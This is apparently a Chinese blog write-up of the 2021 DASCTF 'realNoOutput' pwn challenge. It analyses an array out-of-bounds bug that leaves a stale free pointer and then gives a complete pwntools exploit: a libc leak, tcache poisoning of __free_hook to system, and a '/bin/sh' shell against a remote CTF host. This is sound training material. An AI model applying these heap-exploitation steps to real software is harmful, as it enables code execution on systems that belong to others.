2021DASCTF实战精英夏令营暨DASCTF July X CBCTF realNoOutput

在这里插入图片描述欸……RELRO一点没开,不是很常见

在这里插入图片描述刚进去有一个无法反编译的部分。

去函数汇编窗口,函数上右键,编辑函数。
在这里插入图片描述
改一下end eddress。
在这里插入图片描述
然后就好了。
在这里插入图片描述在bss上申请了一块空间,然后地址是+0x20。

功能1
在这里插入图片描述就是申请空间,然后read输入,它限制了申请到的chunk不能小于chunk基地址。
限制到的应该就是我们不能去攻击tcache头部。

功能2
在这里插入图片描述就是正常free。

edit
在这里插入图片描述
show
在这里插入图片描述普普通通输出函数。

问题出在哪
在这里插入图片描述size跟address的数组大小其实只有8,但是我们的序号可以一直写十个,那么就存在数组越界的问题。

怎么去利用这个 数组越界?
在这里插入图片描述
我们看到在free函数里面,free用的是局部变量,如果我们通过数组越界,将address改成一个数字,那么这个地方检查过不去,就会导致ptr指针没有被赋值,那么free的ptr里面还是旧指针,就会造成uaf。

我这里的思路是利用ptr里面残留数据,造成double free,来get shell。
用的是一个函数的数据,但是我看了官方exp,可以跨函数,free函数残留的数据用到了edit函数里面,也可以利用。都行。

在这里插入图片描述
然后发现libc不说2.27
在这里插入图片描述
那就用edit吧。

好吧 我看了它的附件 其实 是2.31.

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"

r = remote("node4.buuoj.cn", "26061")
#r = process("./realNoOutput")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./64/libc-2.31.so")

def add(index, size, content):
    r.sendline("1")
    sleep(0.1)
    r.sendline(str(index))
    sleep(0.1)
    r.sendline(str(size))
    sleep(0.1)
    r.sendline(content)
    sleep(0.1)

def delete(index):
    r.sendline("2")
    sleep(0.1)
    r.sendline(str(index))
    sleep(0.1)

def edit(index, content):
    r.sendline("3")
    sleep(0.1)
    r.sendline(str(index))
    sleep(0.1)
    r.sendline(content)
    sleep(0.1)

def show(index):
    r.sendline("4")
    sleep(0.1)
    r.sendline(str(index))
    sleep(0.1)

for i in range(8):
    add(i,0xf0,'aaa')

for i in range(7):
    delete(7-i)

delete(0)
add(8,0x100,'aaa')
show(0)  #利用的是delete残留的数据
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)

add(7,0xf0,'aaa')

add(2,0x100,'aaa')
add(1,0x100,'aaa')
delete(2)
delete(1)

add(9,0x10,'aaa')
edit(1,p64(free_hook))

add(2,0x100,'/bin/sh\x00')
add(3,0x100,p64(system_addr))
delete(2)

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值